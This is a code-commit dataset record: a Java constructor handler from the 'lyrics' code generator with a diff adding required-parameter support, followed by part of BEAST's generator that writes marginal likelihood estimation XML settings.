package com.flipkart.lyrics.processor.constructors;
import com.flipkart.lyrics.config.Tune;
import com.flipkart.lyrics.model.FieldModel;
import com.flipkart.lyrics.model.MetaInfo;
import com.flipkart.lyrics.model.TypeModel;
import com.flipkart.lyrics.processor.Handler;
import com.flipkart.lyrics.sets.RuleSet;
import com.flipkart.lyrics.specs.*;
import java.util.List;
import java.util.Map;
import static com.flipkart.lyrics.helper.Helper.getParameterTypeHandler;
/**
* Created by shrey.garg on 06/02/17.
*/
public abstract class ConstructorHandler extends Handler {
public ConstructorHandler(Tune tune, MetaInfo metaInfo, RuleSet ruleSet) {
super(tune, metaInfo, ruleSet);
}
@Override
public void process(TypeSpec.Builder typeSpec, TypeModel typeModel) {
Map<String, FieldModel> fields = typeModel.getFields();
List<String> constructorFields = getConstructorFields(typeModel);
if (constructorFields.isEmpty()) {
return;
}
MethodSpec.Builder constructor = MethodSpec.constructorBuilder();
if (getModifier() != null) {
constructor = constructor.addModifiers(getModifier());
}
CodeBlock superArgs = superArgs();
if (superArgs != null) {
Object[] args = new Object[superArgs.arguments.size()];
args = superArgs.arguments.toArray(args);
constructor.addCode(superIdentifier() + "." + String.join("", superArgs.formats), args);
}
for (String field : constructorFields) {
ParameterSpec.Builder parameterSpec = getParameterTypeHandler(fields.get(field).getFieldType(), tune.getParameterTypeHandlerSet())
.process(typeSpec, field, fields.get(field));
if (!fields.get(field).isPrimitive()) {
tune.getValidationAnnotatorStyles().forEach(style -> {
if (fields.get(field).isRequired()) {
style.processRequiredRuleForConstructor(parameterSpec);
} else {
style.processNotRequiredRuleForConstructor(parameterSpec);
}
});
}
constructor.addParameter(parameterSpec.build());
constructor.addStatement("$N.$L = $L", selfReference(), field, field);
}
typeSpec.addMethod(constructor.build());
}
protected abstract List<String> getConstructorFields(TypeModel typeModel);
protected abstract Modifier getModifier();
protected String selfReference() {
return "this";
}
protected String superIdentifier() {
return "super";
}
protected CodeBlock superArgs() {
return null;
}
}
| parameter required support
| lyrics-core/src/main/java/com/flipkart/lyrics/processor/constructors/ConstructorHandler.java | parameter required support | <ide><path>yrics-core/src/main/java/com/flipkart/lyrics/processor/constructors/ConstructorHandler.java
<ide> });
<ide> }
<ide>
<add> parameterSpec.required(fields.get(field).isRequired());
<ide> constructor.addParameter(parameterSpec.build());
<ide> constructor.addStatement("$N.$L = $L", selfReference(), field, field);
<ide> } |
|
Java | lgpl-2.1 | 83b1fd3b7d8d147b5d1edd9c2927154c8be53b24 | 0 | adamallo/beast-mcmc,adamallo/beast-mcmc,4ment/beast-mcmc,maxbiostat/beast-mcmc,maxbiostat/beast-mcmc,maxbiostat/beast-mcmc,beast-dev/beast-mcmc,maxbiostat/beast-mcmc,beast-dev/beast-mcmc,beast-dev/beast-mcmc,maxbiostat/beast-mcmc,4ment/beast-mcmc,adamallo/beast-mcmc,maxbiostat/beast-mcmc,4ment/beast-mcmc,adamallo/beast-mcmc,beast-dev/beast-mcmc,4ment/beast-mcmc,adamallo/beast-mcmc,4ment/beast-mcmc,adamallo/beast-mcmc,4ment/beast-mcmc,beast-dev/beast-mcmc,beast-dev/beast-mcmc | /*
* MarginalLikelihoodEstimationGenerator.java
*
* Copyright (c) 2002-2017 Alexei Drummond, Andrew Rambaut and Marc Suchard
*
* This file is part of BEAST.
* See the NOTICE file distributed with this work for additional
* information regarding copyright ownership and licensing.
*
* BEAST is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* BEAST is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with BEAST; if not, write to the
* Free Software Foundation, Inc., 51 Franklin St, Fifth Floor,
* Boston, MA 02110-1301 USA
*/
package dr.app.beauti.components.marginalLikelihoodEstimation;
import dr.app.beauti.BeautiFrame;
import dr.app.beauti.generator.BaseComponentGenerator;
import dr.app.beauti.generator.TreePriorGenerator;
import dr.app.beauti.options.*;
import dr.app.beauti.types.*;
import dr.app.beauti.util.XMLWriter;
import dr.evolution.datatype.DataType;
import dr.evolution.util.Taxa;
import dr.evolution.util.Units;
import dr.evomodel.branchratemodel.BranchRateModel;
import dr.evomodel.tree.TreeModel;
import dr.evomodelxml.TreeWorkingPriorParsers;
import dr.evomodelxml.branchratemodel.*;
import dr.evomodelxml.coalescent.*;
import dr.evomodelxml.speciation.SpeciationLikelihoodParser;
import dr.evomodelxml.speciation.SpeciesTreeModelParser;
import dr.evomodelxml.speciation.YuleModelParser;
import dr.inference.mcmc.MarginalLikelihoodEstimator;
import dr.inference.model.ParameterParser;
import dr.inference.model.PathLikelihood;
import dr.inference.trace.GeneralizedSteppingStoneSamplingAnalysis;
import dr.inference.trace.PathSamplingAnalysis;
import dr.inference.trace.SteppingStoneSamplingAnalysis;
import dr.inferencexml.distribution.WorkingPriorParsers;
import dr.inferencexml.model.CompoundLikelihoodParser;
import dr.util.Attribute;
import dr.xml.XMLParser;
import java.util.ArrayList;
import java.util.EnumSet;
import java.util.List;
/**
* @author Andrew Rambaut
* @author Guy Baele
* @version $Id$
*/
public class MarginalLikelihoodEstimationGenerator extends BaseComponentGenerator {
public static final boolean DEBUG = false;
private BeautiOptions beautiOptions = null;
MarginalLikelihoodEstimationGenerator(final BeautiOptions options) {
super(options);
this.beautiOptions = options;
}
@Override
public void checkOptions() throws GeneratorException {
MarginalLikelihoodEstimationOptions mleOptions = (MarginalLikelihoodEstimationOptions)options.getComponentOptions(MarginalLikelihoodEstimationOptions.class);
if (DEBUG) {
System.out.println("mleOptions.performMLE: " + mleOptions.performMLE);
System.out.println("mleOptions.performMLEGSS: " + mleOptions.performMLEGSS);
}
//++++++++++++++++ Improper priors ++++++++++++++++++
if (mleOptions.performMLE) {
for (Parameter param : options.selectParameters()) {
if (param.isPriorImproper() || (param.priorType == PriorType.ONE_OVER_X_PRIOR && !param.getBaseName().contains("popSize"))) {
throw new GeneratorException("Parameter \"" + param.getName() + "\":" +
"\nhas an improper prior and will not sample correctly when estimating " +
"the marginal likelihood. " +
"\nPlease check the Prior panel.", BeautiFrame.PRIORS);
}
}
}
//++++++++++++++++ Coalescent Events available for GSS ++++++++++++++++++
if (mleOptions.performMLEGSS) {
EnumSet<TreePriorType> allowedTypes = EnumSet.of(
TreePriorType.CONSTANT, TreePriorType.EXPONENTIAL, TreePriorType.LOGISTIC, TreePriorType.EXPANSION, TreePriorType.SKYGRID, TreePriorType.GMRF_SKYRIDE, TreePriorType.YULE
);
EnumSet<TreePriorType> allowedMCMTypes = EnumSet.of(TreePriorType.CONSTANT, TreePriorType.EXPONENTIAL, TreePriorType.LOGISTIC, TreePriorType.EXPANSION);
for (PartitionTreeModel model : options.getPartitionTreeModels()) {
PartitionTreePrior prior = model.getPartitionTreePrior();
if (!allowedTypes.contains(prior.getNodeHeightPrior())) {
throw new GeneratorException("Generalized stepping stone sampling can only be performed\n" +
"on standard parameteric coalescent tree priors and the Skyride and Skygrid models. " +
"\nPlease check the Trees panel.", BeautiFrame.TREES);
}
if (mleOptions.choiceTreeWorkingPrior.equals("Matching coalescent model") && !allowedMCMTypes.contains(prior.getNodeHeightPrior())) {
throw new GeneratorException("A Matching Coalescent Model cannot be constructed for\n" +
"the Skyride and Skygrid models. Please check the Marginal Likelihood\n" +
"Estimation settings via the MCMC panel.");
}
}
// Shouldn't get here as the MLE switch in the MCMC tab already checks.
for (AbstractPartitionData partition : options.getDataPartitions()) {
if (partition.getDataType().getType() != DataType.NUCLEOTIDES) {
throw new GeneratorException(
"Generalized stepping-stone sampling is not currently\n" +
"compatible with substitution models other than those\n" +
"for nucleotide data. \n\n" +
BeautiFrame.MCMC);
}
}
}
}
public boolean usesInsertionPoint(final InsertionPoint point) {
MarginalLikelihoodEstimationOptions component = (MarginalLikelihoodEstimationOptions) options.getComponentOptions(MarginalLikelihoodEstimationOptions.class);
if (!component.performMLE && !component.performMLEGSS) {
return false;
}
switch (point) {
case AFTER_MCMC:
return true;
case IN_FILE_LOG_PARAMETERS:
return options.logCoalescentEventsStatistic;
}
return false;
}
protected void generate(final InsertionPoint point, final Object item, final String prefix, final XMLWriter writer) {
MarginalLikelihoodEstimationOptions component = (MarginalLikelihoodEstimationOptions) options.getComponentOptions(MarginalLikelihoodEstimationOptions.class);
/*System.err.println("generate component: " + component);
System.err.println("options.pathSteps: " + component.pathSteps);
System.err.println("options.mleChainLength: " + component.mleChainLength);
System.err.println("options.mleLogEvery: " + component.mleLogEvery);*/
switch (point) {
case AFTER_MCMC:
writeMLE(writer, component);
break;
case IN_FILE_LOG_PARAMETERS:
if (options.logCoalescentEventsStatistic) {
writeCoalescentEventsStatistic(writer);
}
break;
default:
throw new IllegalArgumentException("This insertion point is not implemented for " + this.getClass().getName());
}
}
protected String getCommentLabel() {
return "Marginal Likelihood Estimator";
}
/**
* Write the marginalLikelihoodEstimator, pathSamplingAnalysis and steppingStoneSamplingAnalysis blocks.
*
* @param writer XMLWriter
*/
public void writeMLE(XMLWriter writer, MarginalLikelihoodEstimationOptions options) {
if (options.performMLE) {
writer.writeComment("Define marginal likelihood estimator (PS/SS) settings");
List<Attribute> attributes = new ArrayList<Attribute>();
//attributes.add(new Attribute.Default<String>(XMLParser.ID, "mcmc"));
attributes.add(new Attribute.Default<Integer>(MarginalLikelihoodEstimator.CHAIN_LENGTH, options.mleChainLength));
attributes.add(new Attribute.Default<Integer>(MarginalLikelihoodEstimator.PATH_STEPS, options.pathSteps));
attributes.add(new Attribute.Default<String>(MarginalLikelihoodEstimator.PATH_SCHEME, options.pathScheme));
if (!options.pathScheme.equals(MarginalLikelihoodEstimator.LINEAR)) {
attributes.add(new Attribute.Default<Double>(MarginalLikelihoodEstimator.ALPHA, options.schemeParameter));
}
if (options.printOperatorAnalysis) {
attributes.add(new Attribute.Default<Boolean>(MarginalLikelihoodEstimator.PRINT_OPERATOR_ANALYSIS, true));
}
writer.writeOpenTag(MarginalLikelihoodEstimator.MARGINAL_LIKELIHOOD_ESTIMATOR, attributes);
writer.writeOpenTag("samplers");
writer.writeIDref("mcmc", "mcmc");
writer.writeCloseTag("samplers");
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>(XMLParser.ID, "pathLikelihood"));
writer.writeOpenTag(PathLikelihood.PATH_LIKELIHOOD, attributes);
writer.writeOpenTag(PathLikelihood.SOURCE);
writer.writeIDref(CompoundLikelihoodParser.JOINT, CompoundLikelihoodParser.JOINT);
writer.writeCloseTag(PathLikelihood.SOURCE);
writer.writeOpenTag(PathLikelihood.DESTINATION);
writer.writeIDref(CompoundLikelihoodParser.PRIOR, CompoundLikelihoodParser.PRIOR);
writer.writeCloseTag(PathLikelihood.DESTINATION);
writer.writeCloseTag(PathLikelihood.PATH_LIKELIHOOD);
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>(XMLParser.ID, "MLELog"));
attributes.add(new Attribute.Default<Integer>("logEvery", options.mleLogEvery));
attributes.add(new Attribute.Default<String>("fileName", options.mleFileName));
writer.writeOpenTag("log", attributes);
writer.writeIDref("pathLikelihood", "pathLikelihood");
writer.writeCloseTag("log");
writer.writeCloseTag(MarginalLikelihoodEstimator.MARGINAL_LIKELIHOOD_ESTIMATOR);
writer.writeComment("Path sampling estimator from collected samples");
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>("fileName", options.mleFileName));
attributes.add(new Attribute.Default<String>("resultsFileName", options.mleResultFileName));
writer.writeOpenTag(PathSamplingAnalysis.PATH_SAMPLING_ANALYSIS, attributes);
writer.writeTag("likelihoodColumn", new Attribute.Default<String>("name", "pathLikelihood.delta"), true);
writer.writeTag("thetaColumn", new Attribute.Default<String>("name", "pathLikelihood.theta"), true);
writer.writeCloseTag(PathSamplingAnalysis.PATH_SAMPLING_ANALYSIS);
writer.writeComment("Stepping-stone sampling estimator from collected samples");
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>("fileName", options.mleFileName));
attributes.add(new Attribute.Default<String>("resultsFileName", options.mleResultFileName));
writer.writeOpenTag(SteppingStoneSamplingAnalysis.STEPPING_STONE_SAMPLING_ANALYSIS, attributes);
writer.writeTag("likelihoodColumn", new Attribute.Default<String>("name", "pathLikelihood.delta"), true);
writer.writeTag("thetaColumn", new Attribute.Default<String>("name", "pathLikelihood.theta"), true);
writer.writeCloseTag(SteppingStoneSamplingAnalysis.STEPPING_STONE_SAMPLING_ANALYSIS);
} else if (options.performMLEGSS) {
// TODO: does this need a prefix? I.e., will there ever be more than one of these?
String modelPrefix = "";
//First define necessary components for the tree working prior
if (options.choiceTreeWorkingPrior.equals("Product of exponential distributions")) {
//more general product of exponentials needs to be constructed
if (DEBUG) {
System.err.println("productOfExponentials selected: " + options.choiceTreeWorkingPrior);
}
List<Attribute> attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>(XMLParser.ID, "exponentials"));
attributes.add(new Attribute.Default<String>("fileName", beautiOptions.logFileName));
attributes.add(new Attribute.Default<String>("burnin", "" + (int)(beautiOptions.chainLength*0.10)));
attributes.add(new Attribute.Default<String>("parameterColumn", "coalescentEventsStatistic"));
attributes.add(new Attribute.Default<String>("dimension", "" + (beautiOptions.taxonList.getTaxonCount()-1)));
writer.writeOpenTag(TreeWorkingPriorParsers.PRODUCT_OF_EXPONENTIALS_POSTERIOR_MEANS_LOESS, attributes);
writer.writeIDref(TreeModel.TREE_MODEL, TreeModel.TREE_MODEL);
writer.writeCloseTag(TreeWorkingPriorParsers.PRODUCT_OF_EXPONENTIALS_POSTERIOR_MEANS_LOESS);
} else if (options.choiceTreeWorkingPrior.equals("Matching coalescent model")) {
//matching coalescent model has to be constructed
//getting the coalescent model
if (DEBUG) {
System.err.println("matching coalescent model selected: " + options.choiceTreeWorkingPrior);
System.err.println(beautiOptions.getPartitionTreePriors().get(0).getNodeHeightPrior());
}
/*for (PartitionTreePrior prior : options.getPartitionTreePriors()) {
treePriorGenerator.writeTreePriorModel(prior, writer);
writer.writeText("");
}*/
//TODO: extend for more than 1 coalescent model?
TreePriorType nodeHeightPrior = beautiOptions.getPartitionTreePriors().get(0).getNodeHeightPrior();
if (DEBUG) {
System.err.println("nodeHeightPrior: " + nodeHeightPrior);
}
switch (nodeHeightPrior) {
case CONSTANT:
writer.writeComment("A working prior for the constant population size model.");
writer.writeOpenTag(
ConstantPopulationModelParser.CONSTANT_POPULATION_MODEL,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "constantReference"),
new Attribute.Default<String>("units", Units.Utils.getDefaultUnitName(beautiOptions.units))
}
);
writer.writeOpenTag(ConstantPopulationModelParser.POPULATION_SIZE);
writeParameter("constantReference.popSize", "constant.popSize", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
writer.writeCloseTag(ConstantPopulationModelParser.POPULATION_SIZE);
writer.writeCloseTag(ConstantPopulationModelParser.CONSTANT_POPULATION_MODEL);
writer.writeComment("A working prior for the coalescent.");
writer.writeOpenTag(
CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "coalescentReference")
}
);
writer.writeOpenTag(CoalescentLikelihoodParser.MODEL);
writer.writeIDref(ConstantPopulationModelParser.CONSTANT_POPULATION_MODEL, beautiOptions.getPartitionTreePriors().get(0).getPrefix() + "constantReference");
writer.writeCloseTag(CoalescentLikelihoodParser.MODEL);
writer.writeOpenTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeIDref(TreeModel.TREE_MODEL, modelPrefix + TreeModel.TREE_MODEL);
writer.writeCloseTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeCloseTag(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD);
break;
case EXPONENTIAL:
writer.writeComment("A working prior for the exponential growth model.");
writer.writeOpenTag(
ExponentialGrowthModelParser.EXPONENTIAL_GROWTH_MODEL,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "exponentialReference"),
new Attribute.Default<String>("units", Units.Utils.getDefaultUnitName(beautiOptions.units))
}
);
writer.writeOpenTag(ExponentialGrowthModelParser.POPULATION_SIZE);
writeParameter("exponentialReference.popSize", "exponential.popSize", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
writer.writeCloseTag(ExponentialGrowthModelParser.POPULATION_SIZE);
writer.writeOpenTag(ExponentialGrowthModelParser.GROWTH_RATE);
writeParameter("exponentialReference.growthRate", "exponential.growthRate", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
writer.writeCloseTag(ExponentialGrowthModelParser.GROWTH_RATE);
writer.writeCloseTag(ExponentialGrowthModelParser.EXPONENTIAL_GROWTH_MODEL);
writer.writeComment("A working prior for the coalescent.");
writer.writeOpenTag(
CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "coalescentReference")
}
);
writer.writeOpenTag(CoalescentLikelihoodParser.MODEL);
writer.writeIDref(ExponentialGrowthModelParser.EXPONENTIAL_GROWTH_MODEL, beautiOptions.getPartitionTreePriors().get(0).getPrefix() + "constantReference");
writer.writeCloseTag(CoalescentLikelihoodParser.MODEL);
writer.writeOpenTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeIDref(TreeModel.TREE_MODEL, modelPrefix + TreeModel.TREE_MODEL);
writer.writeCloseTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeCloseTag(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD);
break;
case LOGISTIC:
writer.writeComment("A working prior for the logistic growth model.");
writer.writeOpenTag(
LogisticGrowthModelParser.LOGISTIC_GROWTH_MODEL,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "logisticReference"),
new Attribute.Default<String>("units", Units.Utils.getDefaultUnitName(beautiOptions.units))
}
);
writer.writeOpenTag(LogisticGrowthModelParser.POPULATION_SIZE);
writeParameter("logisticReference.popSize", "logistic.popSize", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
writer.writeCloseTag(LogisticGrowthModelParser.POPULATION_SIZE);
writer.writeOpenTag(LogisticGrowthModelParser.GROWTH_RATE);
writeParameter("logisticReference.growthRate", "logistic.growthRate", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
writer.writeCloseTag(LogisticGrowthModelParser.GROWTH_RATE);
writer.writeOpenTag(LogisticGrowthModelParser.TIME_50);
writeParameter("logisticReference.t50", "logistic.t50", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
writer.writeCloseTag(LogisticGrowthModelParser.TIME_50);
writer.writeCloseTag(LogisticGrowthModelParser.LOGISTIC_GROWTH_MODEL);
writer.writeComment("A working prior for the coalescent.");
writer.writeOpenTag(
CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "coalescentReference")
}
);
writer.writeOpenTag(CoalescentLikelihoodParser.MODEL);
writer.writeIDref(LogisticGrowthModelParser.LOGISTIC_GROWTH_MODEL, beautiOptions.getPartitionTreePriors().get(0).getPrefix() + "constantReference");
writer.writeCloseTag(CoalescentLikelihoodParser.MODEL);
writer.writeOpenTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeIDref(TreeModel.TREE_MODEL, modelPrefix + TreeModel.TREE_MODEL);
writer.writeCloseTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeCloseTag(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD);
break;
case EXPANSION:
writer.writeComment("A working prior for the expansion growth model.");
writer.writeOpenTag(
ExpansionModelParser.EXPANSION_MODEL,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "expansionReference"),
new Attribute.Default<String>("units", Units.Utils.getDefaultUnitName(beautiOptions.units))
}
);
writer.writeOpenTag(ExpansionModelParser.POPULATION_SIZE);
writeParameter("expansionReference.popSize", "expansion.popSize", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
writer.writeCloseTag(ExpansionModelParser.POPULATION_SIZE);
writer.writeOpenTag(ExpansionModelParser.GROWTH_RATE);
writeParameter("expansionReference.growthRate", "expansion.growthRate", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
writer.writeCloseTag(ExpansionModelParser.GROWTH_RATE);
writer.writeOpenTag(ExpansionModelParser.ANCESTRAL_POPULATION_PROPORTION);
writeParameter("expansionReference.ancestralProportion", "expansion.ancestralProportion", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
writer.writeCloseTag(ExpansionModelParser.ANCESTRAL_POPULATION_PROPORTION);
writer.writeCloseTag(ExpansionModelParser.EXPANSION_MODEL);
writer.writeComment("A working prior for the coalescent.");
writer.writeOpenTag(
CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "coalescentReference")
}
);
writer.writeOpenTag(CoalescentLikelihoodParser.MODEL);
writer.writeIDref(ExpansionModelParser.EXPANSION_MODEL, beautiOptions.getPartitionTreePriors().get(0).getPrefix() + "constantReference");
writer.writeCloseTag(CoalescentLikelihoodParser.MODEL);
writer.writeOpenTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeIDref(TreeModel.TREE_MODEL, modelPrefix + TreeModel.TREE_MODEL);
writer.writeCloseTag(CoalescentLikelihoodParser.POPULATION_TREE);
writer.writeCloseTag(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD);
break;
default:
//Do not switch to product of exponentials as the coalescentEventsStatistic has not been logged
//TODO: show menu that explains mismatch between prior and working prior?
//TODO: but show it when the MCM option is wrongfully being selected, don't do anything here
}
} else {
//matching speciation model has to be constructed
//getting the speciation model
if (DEBUG) {
System.err.println("matching speciation model selected: " + options.choiceTreeWorkingPrior);
System.err.println(beautiOptions.getPartitionTreePriors().get(0).getNodeHeightPrior());
}
TreePriorType nodeHeightPrior = beautiOptions.getPartitionTreePriors().get(0).getNodeHeightPrior();
switch (nodeHeightPrior) {
case YULE:
writer.writeComment("A working prior for the Yule pure birth model.");
writer.writeOpenTag(
YuleModelParser.YULE_MODEL,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "yuleReference"),
new Attribute.Default<String>("units", Units.Utils.getDefaultUnitName(beautiOptions.units))
}
);
writer.writeOpenTag(YuleModelParser.BIRTH_RATE);
writeParameter("yuleReference.birthRate", "yule.birthRate", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
writer.writeCloseTag(YuleModelParser.BIRTH_RATE);
writer.writeCloseTag(YuleModelParser.YULE_MODEL);
writer.writeComment("A working prior for the speciation process.");
writer.writeOpenTag(
SpeciationLikelihoodParser.SPECIATION_LIKELIHOOD,
new Attribute[]{
new Attribute.Default<String>(XMLParser.ID, modelPrefix + "speciationReference")
}
);
writer.writeOpenTag(SpeciationLikelihoodParser.MODEL);
writer.writeIDref(YuleModelParser.YULE_MODEL, beautiOptions.getPartitionTreePriors().get(0).getPrefix() + "yuleReference");
writer.writeCloseTag(SpeciationLikelihoodParser.MODEL);
writer.writeOpenTag(SpeciesTreeModelParser.SPECIES_TREE);
writer.writeIDref(TreeModel.TREE_MODEL, modelPrefix + TreeModel.TREE_MODEL);
writer.writeCloseTag(SpeciesTreeModelParser.SPECIES_TREE);
writer.writeCloseTag(SpeciationLikelihoodParser.SPECIATION_LIKELIHOOD);
break;
default:
}
}
writer.writeComment("Define marginal likelihood estimator (GSS) settings");
List<Attribute> attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<Integer>(MarginalLikelihoodEstimator.CHAIN_LENGTH, options.mleChainLength));
attributes.add(new Attribute.Default<Integer>(MarginalLikelihoodEstimator.PATH_STEPS, options.pathSteps));
attributes.add(new Attribute.Default<String>(MarginalLikelihoodEstimator.PATH_SCHEME, options.pathScheme));
if (!options.pathScheme.equals(MarginalLikelihoodEstimator.LINEAR)) {
attributes.add(new Attribute.Default<Double>(MarginalLikelihoodEstimator.ALPHA, options.schemeParameter));
}
if (options.printOperatorAnalysis) {
attributes.add(new Attribute.Default<Boolean>(MarginalLikelihoodEstimator.PRINT_OPERATOR_ANALYSIS, true));
}
writer.writeOpenTag(MarginalLikelihoodEstimator.MARGINAL_LIKELIHOOD_ESTIMATOR, attributes);
writer.writeOpenTag("samplers");
writer.writeIDref("mcmc", "mcmc");
writer.writeCloseTag("samplers");
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>(XMLParser.ID, "pathLikelihood"));
writer.writeOpenTag(PathLikelihood.PATH_LIKELIHOOD, attributes);
writer.writeOpenTag(PathLikelihood.SOURCE);
writer.writeIDref(CompoundLikelihoodParser.JOINT, CompoundLikelihoodParser.JOINT);
writer.writeCloseTag(PathLikelihood.SOURCE);
writer.writeOpenTag(PathLikelihood.DESTINATION);
writer.writeOpenTag(CompoundLikelihoodParser.WORKING_PRIOR);
//Start with providing working priors for the substitution model(s)
for (PartitionSubstitutionModel model : beautiOptions.getPartitionSubstitutionModels()) {
int codonPartitionCount = model.getCodonPartitionCount();
switch (model.getDataType().getType()) {
case DataType.NUCLEOTIDES:
switch (model.getNucSubstitutionModel()) {
case JC:
if (codonPartitionCount > 1) {
//write working priors for relative rates
writeRelativeRates(writer, model, codonPartitionCount);
}
break;
case HKY:
if (codonPartitionCount > 1 && model.isUnlinkedSubstitutionModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "kappa"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "kappa");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "kappa"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "kappa");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
if (codonPartitionCount > 1) {
//write working priors for relative rates
writeRelativeRates(writer, model, codonPartitionCount);
}
break;
case TN93:
if (codonPartitionCount > 1 && model.isUnlinkedSubstitutionModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "kappa1"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "kappa1");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "kappa2"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "kappa2");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "kappa1"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "kappa1");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "kappa2"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "kappa2");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
if (codonPartitionCount > 1) {
//write working priors for relative rates
writeRelativeRates(writer, model, codonPartitionCount);
}
break;
case GTR:
if (codonPartitionCount > 1 && model.isUnlinkedSubstitutionModel()) {
for (int i = 1; i <= codonPartitionCount; i++) {
for (String rateName : PartitionSubstitutionModel.GTR_RATE_NAMES) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
